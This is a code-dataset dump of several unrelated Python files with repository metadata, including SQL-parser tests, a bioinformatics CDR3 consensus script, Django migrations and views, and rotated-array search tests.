Token(T.Name, 'tbl_stu.id') token_list_1 = TokenList([token_1]) field_1 = Identifier(token_list_1) comparison_token = Token(T.Operator, '=') comparison_list = TokenList([comparison_token]) comparison_1 = Identifier(comparison_list) token_2 = Token(T.Name, 'tbl_stu_crs.stu_id') token_list_2 = TokenList([token_2]) field_2 = Identifier(token_list_2) join_comparison = Comparison(field_1, '=', field_2) join_1 = Join(table_1, table_2, join_comparison) joins = [join_1] from_clause = FromClause(joins) from_clause_expected = str(from_clause) query = Query(sql) from_clause_actual = str(query.from_clause()) self.assertEqual(from_clause_actual, from_clause_expected) def test_compare_sql(self): sql_1 = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") sql_2 = ("select id, " " name, " " major " " from tbl_stu_crs " " join tbl_stu " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") query_1 = Query(sql_1) query_2 = Query(sql_2) from_clause_1 = query_1.from_clause() from_clause_2 = query_2.from_clause() where_clause_1 = query_1.where_clause() where_clause_2 = query_2.where_clause() self.assertEqual(from_clause_1, from_clause_2) self.assertEqual(where_clause_1, where_clause_2) def test_parse(self): sql = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " join tbl_stu_crs_grd " " on a = b " " and c = d " " where stu_sem = '2020-Sp' " " and enrl = 1;") query = Query(sql) self.assertTrue(query) # dir(sql_tokens[-1]) # sql_tokens[-1].tokens def test_fuse(self): sql_1 = ("select id, " " name, " " first_term " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2019-Fa' " " and major = 'MAGC';") sql_2 = ("select id, " " name, " " major " " from tbl_stu_crs " " join tbl_stu " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") sql_3 = ("select id, " " name, " " first_term, " " major " " from tbl_stu_crs " " join tbl_stu " " on tbl_stu.id = tbl_stu_crs.stu_id " " where major = 'MAGC' " " and enrl = 1 " " and stu_sem = ':stu_sem';") query_1 = Query(sql_1) query_2 = Query(sql_2) query_3 = Query(sql_3) # query_4 = fused(query_1, query_2) # self.assertEqual(query_4, query_3) parameter_fields = ['stu_sem'] query_1.fuse(query_2).parameterize(parameter_fields) self.assertEqual(query_1, query_3) if __name__ == '__main__': unittest.main()

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1fc6fa21c4051a53146d8cf76b830b672309eed5

12,203

py

Python

HTGTSrep/HTGTSrep/junctionsPerLibs.py

Yyx2626/HTGTSrep

d8716304b555a7b9161e5f2ce988ebfd17abc9f0

[ "MIT" ]

2

2020-05-08T05:12:37.000Z

2022-03-28T02:53:03.000Z

HTGTSrep/HTGTSrep/junctionsPerLibs.py

Yyx2626/HTGTSrep

d8716304b555a7b9161e5f2ce988ebfd17abc9f0

[ "MIT" ]

1

2020-03-05T04:08:39.000Z

2021-08-11T15:02:37.000Z

HTGTSrep/HTGTSrep/junctionsPerLibs.py

Yyx2626/HTGTSrep

d8716304b555a7b9161e5f2ce988ebfd17abc9f0

[ "MIT" ]

4

2020-05-30T12:45:48.000Z

2022-03-31T12:24:53.000Z

'''import sys import operator from Bio.Seq import Seq try: from Bio.Alphabet import generic_dna, IUPAC Bio_Alphabet = True except ImportError: Bio_Alphabet = None # usages of generic_dna, IUPAC are not supported in Biopython 1.78 (September 2020). print(f"The installed BioPython is a new version that has removed the Alphabet module.",file=sys.stderr) def filter(statFile): # statfile = '%s/allsample_clonal/allsample.mix_clone.stat.xls' % (args.outdir) ListOfLines = [] labels = statFile.readline() litems = labels[:-1].split("\t") ListOfLines.append(litems) for line in statFile: items = line[:-1].split("\t") ListOfLines.append(items) return ListOfLines def consensus(lines, CDR3_AA): consensusLines = [] lines[0].append("CONSENSUS_SEQ") jidx = lines[0].index("JUNC_DETAIL") consensusLines.append(lines[0]) for line in lines[1:]: # h = 1 # cdr = '' juncDets = line[jidx] # commented out useless lines JH 06032021 # for item in juncDets.split('|'): # i1 = item.split(':')[0] # i2 = int(item.split(':')[1]) # if i2 > h: # h = i2 # cdr = i1 if CDR3_AA != "T": consensus = get_consensus(juncDets) else: consensus = get_consensus_AA(juncDets) line.append(consensus) consensusLines.append(line) return consensusLines def get_consensus_AA(allCDR): pos_base_num = {} cdr3_len = len(allCDR.split('|')[0].split(':')[0]) for i in range(0, cdr3_len): pos_base_num[i] = {"A": 0, "R": 0, "N": 0, "D": 0, "C": 0, "Q": 0, "E": 0, "G": 0, "H": 0, "I": 0, "L": 0, "K": 0, "M": 0, "F": 0, "P": 0, "S": 0, "T": 0, "W": 0, "Y": 0, "V": 0} for seg in allCDR.split('|'): j = seg.split(':') for i in range(0, cdr3_len): pos_base_num[i][j[0][i]] += int(j[1]) consensus = '' for i in range(0, cdr3_len): consensus += max(pos_base_num[i].items(), key=operator.itemgetter(1))[0] return consensus def get_consensus(allCDR): pos_base_num = {} cdr3_len = len(allCDR.split('|')[0].split(':')[0]) for i in range(0, cdr3_len): pos_base_num[i] = {'A':0, 'T':0, 'C':0, 'G':0, "N":0} for seg in allCDR.split('|'): j = seg.split(':') for i in range(0, cdr3_len): pos_base_num[i][j[0][i]] += int(j[1]) consensus = '' for i in range(0, cdr3_len): consensus += max(pos_base_num[i].items(), key=operator.itemgetter(1))[0] return consensus def translate(listLines, CDR3_AA): dnas = [] listLines[0].append("AA_SEQUENCE") dnas.append(listLines[0]) conSeq = listLines[0].index("CONSENSUS_SEQ") # i=0 if CDR3_AA != "T": for line in listLines[1:]: seq = line[conSeq] while len(seq)%3 != 0: seq += "N" if Bio_Alphabet: AA = Seq(seq, generic_dna).translate() else: AA = Seq(seq).translate() # i+=1 line.append(str(AA)) dnas.append(line) else: for line in listLines[1:]: seq = line[conSeq] AA = seq # i+=1 line.append(str(AA)) dnas.append(line) return dnas def main(): # statfile = '%s/allsample_clonal/allsample.mix_clone.stat.xls' % (args.outdir) clonestat = open(sys.argv[1], "r") CDR3_AA = sys.argv[2] toParse = filter(clonestat) toTranslate = consensus(toParse,CDR3_AA) translated = translate(toTranslate,CDR3_AA) #already translated allsample.stat file, a list of lines in a file libsfile = sys.argv[3:] #read in each library's clonestat file to create lib_detail # # useless lines JH 06032021 # c=0 # libscloneDict = {} ##lib, clone: cdr3seq, num # cdr3dict = {} ###seq, num : lib, clone listOfSingleLibraryDicts = [] for library in libsfile: libstatfile = open(library, "r") libDict = {} ##append junction details to the library dictionary, for each clone (cdr3seq,V-allele, J-allele): sample, readnum labels = libstatfile.readline()[:-1].split("\t") juncIdx = labels.index("JUNC_DETAIL") vidx = labels.index("V_ALLELE") jidx = labels.index("J_ALLELE") sIdx = labels.index("SAMPLE_DETAIL") for line in libstatfile: #iterate through all the clones in a single library items = line[:-1].split("\t") v_allele = items[vidx] j_allele = items[jidx] juncDetails = items[juncIdx].split("|") sample = items[sIdx] for j in juncDetails: seqSpecs = j.split(":") cdr3seq = seqSpecs[0] readNum = seqSpecs[1] if (cdr3seq, v_allele, j_allele) not in libDict: libDict[(cdr3seq, v_allele, j_allele)] = (sample, readNum) #else: # print(cdr3seq, readNum) listOfSingleLibraryDicts.append(libDict) # print(listOfSingleLibraryDicts) translated[0].append("LIB_DETAIL") # will contain all lines of master clone file labels = translated[0] # clonestat.readline()[:-1].split("\t") idxJD = labels.index("JUNC_DETAIL") # idxClone = labels.index("CLONE") idxV = labels.index("V_ALLELE") idxJ = labels.index("J_ALLELE") for line in translated[1:2]: #clonestat: v_allele = line[idxV] j_allele = line[idxJ] juncDetails = line[idxJD].split("|") libDetailString = '' for j in juncDetails: seqSpecs = j.split(":") cdr3seqJ = seqSpecs[0] # readNum = seqSpecs[1] tuple2check = (cdr3seqJ, v_allele, j_allele) print(tuple2check,seqSpecs) for dict in listOfSingleLibraryDicts: if tuple2check in dict: libDetailString += dict[tuple2check][0] + ":" + cdr3seqJ + ":" + dict[tuple2check][1] + "|" print(libDetailString) if libDetailString[-1] == "|": line.append(libDetailString[:-1]) else: line.append(libDetailString) for i in translated: print("\t".join(i)) main() ''' import sys import operator from Bio.Seq import Seq try: from Bio.Alphabet import generic_dna, IUPAC Bio_Alphabet = True except ImportError: Bio_Alphabet = None # usages of generic_dna, IUPAC are not supported in Biopython 1.78 (September 2020). print(f"The installed BioPython is a new version that has removed the Alphabet module.",file=sys.stderr) def filter(statFile): # statfile = '%s/allsample_clonal/allsample.mix_clone.stat.xls' % (args.outdir) ListOfLines = [] labels = statFile.readline() # updated to .replace so that the last character of the last line will not be accidentally deleted JH 06042021 # litems = labels[:-1].split("\t") litems = labels.replace("\n", "").split("\t") ListOfLines.append(litems) for line in statFile: # updated to .replace so that the last character of the last line will not be accidentally deleted JH 06042021 # items = line[:-1].split("\t") items = line.replace("\n", "").split("\t") ListOfLines.append(items) return ListOfLines def consensus(lines): consensusLines = [] lines[0].append("CONSENSUS_SEQ") jidx = lines[0].index("JUNC_DETAIL") consensusLines.append(lines[0]) for line in lines[1:]: # h = 1 # cdr = '' juncDets = line[jidx] # commented out useless lines JH 06032021 # for item in juncDets.split('|'): # i1 = item.split(':')[0] # i2 = int(item.split(':')[1]) # if i2 > h: # h = i2 # cdr = i1 consensus = get_consensus(juncDets) line.append(consensus) consensusLines.append(line) return consensusLines def get_consensus(allCDR): pos_base_num = {} cdr3_len = len(allCDR.split('|')[0].split(':')[0]) for i in range(0, cdr3_len): pos_base_num[i] = {'A':0, 'T':0, 'C':0, 'G':0, "N":0} for seg in allCDR.split('|'): j = seg.split(':') for i in range(0, cdr3_len): pos_base_num[i][j[0][i]] += int(j[1]) consensus = '' for i in range(0, cdr3_len): consensus += max(pos_base_num[i].items(), key=operator.itemgetter(1))[0] return consensus def translate(listLines): dnas = [] listLines[0].append("AA_SEQUENCE") dnas.append(listLines[0]) conSeq = listLines[0].index("CONSENSUS_SEQ") # i=0 for line in listLines[1:]: seq = line[conSeq] while len(seq) % 3 != 0: seq += "N" if Bio_Alphabet: AA = Seq(seq, generic_dna).translate() else: AA = Seq(seq).translate() # i+=1 line.append(str(AA)) dnas.append(line) return dnas def main(): # NOTE statfile = '%s/allsample_clonal/allsample.mix_clone.stat.xls' % (args.outdir) clonestat = open(sys.argv[1], "r") toParse = filter(clonestat) toTranslate = consensus(toParse) translated = translate(toTranslate) #already translated allsample.stat file, a list of lines in a file libsfile = sys.argv[2:] # read in each library's clonestat file to create lib_detail # # useless lines JH 06032021 # c=0 # libscloneDict = {} ##lib, clone: cdr3seq, num # cdr3dict = {} ###seq, num : lib, clone listOfSingleLibraryDicts = [] for library in libsfile: libstatfile = open(library, "r") libDict = {} ##append junction details to the library dictionary, for each clone (cdr3seq,V-allele, J-allele): sample, readnum # updated to .replace so that the last character of the last line will not be accidentally deleted JH 06042021 # labels = libstatfile.readline()[:-1].split("\t") labels = libstatfile.readline().replace("\n", "").split("\t") juncIdx = labels.index("JUNC_DETAIL") vidx = labels.index("V_ALLELE") jidx = labels.index("J_ALLELE") sIdx = labels.index("SAMPLE_DETAIL") for line in libstatfile: #iterate through all the clones in a single library # updated to .replace so that the last character of the last line will not be accidentally deleted JH 06042021 # items = line[:-1].split("\t") items = line.replace("\n", "").split("\t") v_allele = items[vidx] j_allele = items[jidx] juncDetails = items[juncIdx].split("|") sample = items[sIdx] for j in juncDetails: seqSpecs = j.split(":") cdr3seq = seqSpecs[0] readNum = seqSpecs[1] if (cdr3seq, v_allele, j_allele) not in libDict: libDict[(cdr3seq, v_allele, j_allele)] = (sample, readNum) #else: # print(cdr3seq, readNum) listOfSingleLibraryDicts.append(libDict) # print(listOfSingleLibraryDicts) translated[0].append("LIB_DETAIL") # will contain all lines of master clone file labels = translated[0] # clonestat.readline()[:-1].split("\t") idxJD = labels.index("JUNC_DETAIL") # idxClone = labels.index("CLONE") idxV = labels.index("V_ALLELE") idxJ = labels.index("J_ALLELE") for line in translated[1:]: #clonestat: v_allele = line[idxV] j_allele = line[idxJ] juncDetails = line[idxJD].split("|") libDetailString = '' for j in juncDetails: seqSpecs = j.split(":") cdr3seqJ = seqSpecs[0] # readNum = seqSpecs[1] tuple2check = (cdr3seqJ, v_allele, j_allele) for dict in listOfSingleLibraryDicts: if tuple2check in dict: libDetailString += dict[tuple2check][0] + ":" + cdr3seqJ + ":" + dict[tuple2check][1] + "|" if libDetailString[-1] == "|": line.append(libDetailString[:-1]) else: line.append(libDetailString) for i in translated: print("\t".join(i)) main()

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6

1f406fa1d479f75e59d5f05a3c4ac549424cb9b7

214

py

Python

filer/models/__init__.py

pbs/django-filer

c862a84d4e1d86c14eeb509e341f6a7d39a421bf

[ "BSD-3-Clause" ]

1

2015-03-03T15:49:14.000Z

filer/models/__init__.py

pbs/django-filer

c862a84d4e1d86c14eeb509e341f6a7d39a421bf

[ "BSD-3-Clause" ]

10

2015-04-08T14:16:52.000Z

2021-12-15T16:17:57.000Z

filer/models/__init__.py

pbs/django-filer

c862a84d4e1d86c14eeb509e341f6a7d39a421bf

[ "BSD-3-Clause" ]

null

#-*- coding: utf-8 -*- from .mixins import * from .filemodels import * from .clipboardmodels import * from .imagemodels import * from .foldermodels import * from .virtualitems import * from .archivemodels import *

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0

1

0

1

0

6

1f5755adc834fa964d8b57abac91fbc6499d9935

4,608

py

Python

menucard/migrations/0001_initial.py

baniasbaabe/happy-qr

bf44ac19306ea6405cc7c9a100e6f83afca125b4

[ "MIT" ]

1

2021-01-23T21:42:10.000Z

menucard/migrations/0001_initial.py

baniasbaabe/happy-qr

bf44ac19306ea6405cc7c9a100e6f83afca125b4

[ "MIT" ]

null

menucard/migrations/0001_initial.py

baniasbaabe/happy-qr

bf44ac19306ea6405cc7c9a100e6f83afca125b4

[ "MIT" ]

null

# Generated by Django 3.1.2 on 2020-12-27 10:36 from django.db import migrations, models import django.db.models.deletion import phonenumber_field.modelfields class Migration(migrations.Migration): initial = True dependencies = [ ('crm', '0001_initial'), ] operations = [ migrations.CreateModel( name='Vorspeise', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='Snacks', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='Nachspeise', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='Hauptspeise', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='Besucher', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('vorname', models.CharField(max_length=45)), ('nachname', models.CharField(max_length=45)), ('email', models.EmailField(blank=True, max_length=254, null=True)), ('telefon', phonenumber_field.modelfields.PhoneNumberField(blank=True, max_length=128, null=True, region=None)), ('strasse', models.CharField(max_length=45)), ('hausnummer', models.CharField(max_length=5)), ('plz', models.CharField(max_length=45)), ('stadt', models.CharField(max_length=45)), ('besucht_am', models.DateTimeField(auto_now_add=True, null=True)), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='AlkoholhaltigeDrinks', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('centiliter', models.FloatField()), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), migrations.CreateModel( name='AlkoholfreieDrinks', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=55)), ('liter', models.FloatField()), ('beschreibung', models.TextField(blank=True, default='')), ('preis', models.FloatField()), ('kundeId', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='crm.kunde')), ], ), ]

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4,608

5.701559

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0.049219

0.084375

0.1125

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0.014449

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48.505263

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1

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0

6

2f3f7fbb2e9c92a49ae40445269e03dc87f8856d

185

py

Python

tsai/data/basics.py

radi-cho/tsai

32f24d55ee58df1a14d1e68618f230097a266c77

[ "Apache-2.0" ]

1

2022-01-02T18:21:27.000Z

tsai/data/basics.py

radi-cho/tsai

32f24d55ee58df1a14d1e68618f230097a266c77

[ "Apache-2.0" ]

31

2021-12-01T23:08:51.000Z

2021-12-29T02:59:49.000Z

tsai/data/basics.py

radi-cho/tsai

32f24d55ee58df1a14d1e68618f230097a266c77

[ "Apache-2.0" ]

1

2022-03-13T16:47:04.000Z

from .validation import * from .preparation import * from .external import * from .core import * from .preprocessing import * from .transforms import * from .mixed_augmentation import *

26.428571

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0.145946

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null

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0

1

0

1

0

6

2f59b443158d106a76a2bebe88570da44bbc0fe9

5,838

py

Python

tests/tests_rotated_array_search.py

quervernetzt/find-value-in-rotated-sorted-array

b391b1502fd326a57973621500e984bf6f7df44a

[ "MIT" ]

null

tests/tests_rotated_array_search.py

quervernetzt/find-value-in-rotated-sorted-array

b391b1502fd326a57973621500e984bf6f7df44a

[ "MIT" ]

null

tests/tests_rotated_array_search.py

quervernetzt/find-value-in-rotated-sorted-array

b391b1502fd326a57973621500e984bf6f7df44a

[ "MIT" ]

null

import unittest from solution.rotated_array_search import RotatedArraySearch class TestCasesRotatedArraySearch(unittest.TestCase): def input_list_is_none_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = None target: int = 1 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_is_empty_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [] target: int = 1 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_has_one_element_nonmatching_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [2] target: int = 1 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_has_one_element_matching_return_zero(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [2] target: int = 2 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, 0) # --------------------------------------------------------------------- # --------------------------------------------------------------------- def input_list_with_multiple_elements_no_pivot_nonmatching_even_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [1,4,5,8,23,50] target: int = 15 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_with_multiple_elements_no_pivot_matching_even_return_index(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [1,4,5,8,23,50] target: int = 23 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, 4) def input_list_with_multiple_elements_no_pivot_nonmatching_odd_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [1,4,5,8,23,50,51] target: int = 15 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_with_multiple_elements_no_pivot_matching_odd_return_index(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [1,4,5,8,23,50,51] target: int = 23 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, 4) # --------------------------------------------------------------------- # --------------------------------------------------------------------- def input_list_with_multiple_elements_pivot_nonmatching_even_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [6,8,23,50,-10,-8,0,1,4,5] target: int = 15 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_with_multiple_elements_pivot_matching_even_return_index(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [6,8,23,50,-10,-8,0,1,4,5] target: int = 1 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, 7) def input_list_with_multiple_elements_pivot_nonmatching_odd_return_minus_one(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [6,8,23,50,-10,-8,0,1,4] target: int = 15 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, -1) def input_list_with_multiple_elements_pivot_matching_odd_return_index(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list: list = [6,8,23,50,-10,-8,0,1,4] target: int = 1 # Act index: int = rotated_array_search.main(input_list, target) # Assert self.assertEqual(index, 7) # --------------------------------------------------------------------- # --------------------------------------------------------------------- def input_list_with_multiple_elements_pivot_matching_edge_cases_return_index(self: object) -> None: # Arrange rotated_array_search: RotatedArraySearch = RotatedArraySearch() input_list_0: list = [-8,0,1,4,6,8,23,50,-10] input_list_1: list = [50,-10,-8,0,1,4,6,8,23] target: int = 1 # Act index_0: int = rotated_array_search.main(input_list_0, target) index_1: int = rotated_array_search.main(input_list_1, target) # Assert self.assertEqual(index_0, 2) self.assertEqual(index_1, 4)

33.94186

107

0.601918

655

5,838

5.045802

0.087023

0.111649

0.152496

0.088956

0.92708

0.920424

0.908926

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0.243063

5,838

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0

null

0

1

0

null

0

6

2f8e310bf9e77d36d1ba6cf080e2e966d1ebdb66

63

py

Python

gira_homeserver_api/devices/value_device.py

leoyn/gira-homeserver-api

7d642413a56078f694518d9189b4b7cc9776482d

[ "MIT" ]

5

2020-03-17T12:45:50.000Z

2022-03-07T10:55:50.000Z

gira_homeserver_api/devices/value_device.py

leoyn/gira-homeserver-api

7d642413a56078f694518d9189b4b7cc9776482d

[ "MIT" ]

3

2020-04-17T09:53:45.000Z

2021-01-25T22:14:14.000Z

gira_homeserver_api/devices/value_device.py

leoyn/gira-homeserver-api

7d642413a56078f694518d9189b4b7cc9776482d

[ "MIT" ]

1

2020-04-17T06:51:50.000Z

from .device import Device class ValueDevice(Device): pass

15.75

26

0.761905

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63

6

0.75

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63

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15.75

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null

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null

0

1

0

1

0

6

85f0ac57ac9d5511f94d39253027463025311137

194

py

Python

tests/api/utils/test_config.py

Devansh3712/py-cmc

e3f9687914d92cd95bd5a7c04e6103345ba43a3d

[ "MIT" ]

2

2022-02-14T07:13:12.000Z

2022-02-14T07:20:34.000Z

tests/api/utils/test_config.py

Devansh3712/py-cmc

e3f9687914d92cd95bd5a7c04e6103345ba43a3d

[ "MIT" ]

6

2022-02-21T10:50:43.000Z

2022-03-03T15:44:09.000Z

tests/api/utils/test_config.py

Devansh3712/py-cmc

e3f9687914d92cd95bd5a7c04e6103345ba43a3d

[ "MIT" ]

2

2022-02-20T01:43:35.000Z

2022-03-13T09:34:51.000Z

from api.utils.config import settings def test_config_validation() -> None: assert type(settings.host) == str assert type(settings.port) == int assert type(settings.expire) == int

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194

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1

0

null

0

1

0

1

0

6

c83ceb2eaee488074f590ced585bdeba5d992e16

589

py

Python

main/views.py

climsoft/climsoftweb

3be127b3c8ce0e1f89940139ea19e17d20abe386

[ "BSD-3-Clause" ]

1

2021-08-17T07:43:18.000Z

main/views.py

climsoft/climsoftweb

3be127b3c8ce0e1f89940139ea19e17d20abe386

[ "BSD-3-Clause" ]

45

2019-11-16T16:59:04.000Z

2021-04-08T21:23:48.000Z

main/views.py

climsoft/climsoftweb

3be127b3c8ce0e1f89940139ea19e17d20abe386

[ "BSD-3-Clause" ]

null

from django.contrib.auth.decorators import login_required from django.shortcuts import render @login_required def mainmenu(request): return render(request, 'main/mainmenu.html', {}) @login_required def user_admin(request): return render(request, 'main/user_admin.html', {}) @login_required def user_profile(request): return render(request, 'main/user_profile.html', {}) @login_required def change_password(request): return render(request, 'main/change_password.html', {}) @login_required def language(request): return render(request, 'main/language.html', {})

21.814815

59

0.752122

74

589

5.824324

0.297297

0.180974

0.185615

0.301624

0.477958

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0

0.122241

589

26

60

22.653846

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false

0.117647

0.294118

0.705882

0

null

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1

0

null

0

1

0

1

0

1

0

6

c859d195756534de10c20a9266677539c86f42d2

72

py

Python

small-problems/fibonacci-sequence/fib1.py

Prateek2506/classic-cs-problems

fa0e3c86fb7cd478888bb90006f7379cc6c7a38b

[ "MIT" ]

null

small-problems/fibonacci-sequence/fib1.py

Prateek2506/classic-cs-problems

fa0e3c86fb7cd478888bb90006f7379cc6c7a38b

[ "MIT" ]

null

small-problems/fibonacci-sequence/fib1.py

Prateek2506/classic-cs-problems

fa0e3c86fb7cd478888bb90006f7379cc6c7a38b

[ "MIT" ]

null

def fib1(n: int) -> int: return fib1(n-1) + fib1(n-2) print(fib1(5))

24

32

0.583333

15

72

2.8

0.6

0.357143

0

0.118644

0.180556

72

3

33

24

0.59322

0

1

0.333333

false

0

0.333333

0.666667

0.333333

1

0

null

1

0

1

0

null

0

1

0

1

0

6

c091621b5f0a091f64683171c4c8e2bb52a88c66

155

py

Python

lambda_handlers/validators/__init__.py

renovate-tests/lambda-handlers

0b14013f19b597524a8d50f7ea8813ee726c584c

[ "Apache-2.0" ]

null

lambda_handlers/validators/__init__.py

renovate-tests/lambda-handlers

0b14013f19b597524a8d50f7ea8813ee726c584c

[ "Apache-2.0" ]

null

lambda_handlers/validators/__init__.py

renovate-tests/lambda-handlers

0b14013f19b597524a8d50f7ea8813ee726c584c

[ "Apache-2.0" ]

null

from .jsonschema_validator import JSONSchemaValidator as jsonschema # noqa from .marshmallow_validator import MarshmallowValidator as marshmallow # noqa

51.666667

78

0.858065

16

155

8.1875

0.5625

0.229008

0

0.116129

155

2

79

77.5

0.956204

0.058065

0

1

0

true

0

1

0

1

0

1

0

null

1

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1

0

null

0

1

0

1

0

1

0

6

c0c65039eac0d1c182008b9f53dbb8727df88022

151

py

Python

home/views.py

kerol/kerolgaodotcom

7993bb5f40dd1f6b3ebdef4d90728cd77651c026

[ "BSD-3-Clause" ]

1

2016-03-02T02:49:00.000Z

home/views.py

kerol/kerolgaodotcom

7993bb5f40dd1f6b3ebdef4d90728cd77651c026

[ "BSD-3-Clause" ]

null

home/views.py

kerol/kerolgaodotcom

7993bb5f40dd1f6b3ebdef4d90728cd77651c026

[ "BSD-3-Clause" ]

null

# -*- coding: utf8 -*- from django.shortcuts import render # Create your views here. def index(request): return render(request, 'about.html')

15.1

40

0.682119

19

151

5.421053

0.894737

0

0.00813

0.18543

151

9

41

16.777778

0.829268

0.298013

0

0.098039

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

f19cbc9fa4b054f10523c99c5ea25ef1f89616fb

26

py

Python

port/boost/__init__.py

happyxianyu/fxpkg

6d69f410474e71518cc8c6291892dd069c357c75

[ "Apache-2.0" ]

null

port/boost/__init__.py

happyxianyu/fxpkg

6d69f410474e71518cc8c6291892dd069c357c75

[ "Apache-2.0" ]

null

port/boost/__init__.py

happyxianyu/fxpkg

6d69f410474e71518cc8c6291892dd069c357c75

[ "Apache-2.0" ]

null

from .main import MainPort

26

0.846154

4

26

5.5

1

0

0.115385

26

1

26

0.956522

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f1b716086bee59aea60d9505833a19bb60e79bc5

161

py

Python

smart_note_diploma/core/urls.py

yerkebulan19971212/dipploma

d274088aa477dadd7971950b80ef9ea3ea366a6b

[ "MIT" ]

null

smart_note_diploma/core/urls.py

yerkebulan19971212/dipploma

d274088aa477dadd7971950b80ef9ea3ea366a6b

[ "MIT" ]

null

smart_note_diploma/core/urls.py

yerkebulan19971212/dipploma

d274088aa477dadd7971950b80ef9ea3ea366a6b

[ "MIT" ]

null

from django.urls import path from .api.view import get_all_countries_view app_name = "core" urlpatterns = [ path('all-countries', get_all_countries_view) ]

20.125

49

0.770186

24

161

4.875

0.583333

0.307692

0.25641

0.324786

0

0.136646

161

7

50

23

0.841727

0

0.10559

0

1

0

false

0

0.333333

0

0.333333

0

1

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null

1

0

1

0

null

0

1

0

6

7b2f67783a54c7281fccbf52bb33f6fc8f65fc62

482

py

Python

tests/individual_samples/long_doc.py

MiWeiss/docstr_coverage

502ab0174ea261383f497af2476317d4cc199665

[ "MIT" ]

50

2019-01-25T16:53:39.000Z

2022-03-17T22:02:06.000Z

tests/individual_samples/long_doc.py

HunterMcGushion/docstr_coverage

502ab0174ea261383f497af2476317d4cc199665

[ "MIT" ]

66

2019-01-25T11:45:43.000Z

2022-03-30T11:55:47.000Z

tests/individual_samples/long_doc.py

MiWeiss/docstr_coverage

502ab0174ea261383f497af2476317d4cc199665

[ "MIT" ]

23

2019-01-28T08:37:42.000Z

2021-06-16T12:35:27.000Z

